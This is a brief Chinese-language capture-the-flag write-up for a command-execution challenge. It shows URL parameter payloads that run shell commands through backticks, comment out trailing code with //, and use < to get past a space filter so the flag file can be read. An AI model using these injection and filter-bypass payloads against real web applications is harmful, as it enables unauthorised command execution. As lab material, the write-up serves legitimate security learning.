非常好绕的命令执行

这里用``执行命令用echo输出结果，然后用//注释后面的括号防止干扰，先?args1=echo(ls);//

发现当前页面下有一个flagggg

这里用<绕过空格读取flagggg

Payload：?args1=echo(cat<flagggg);//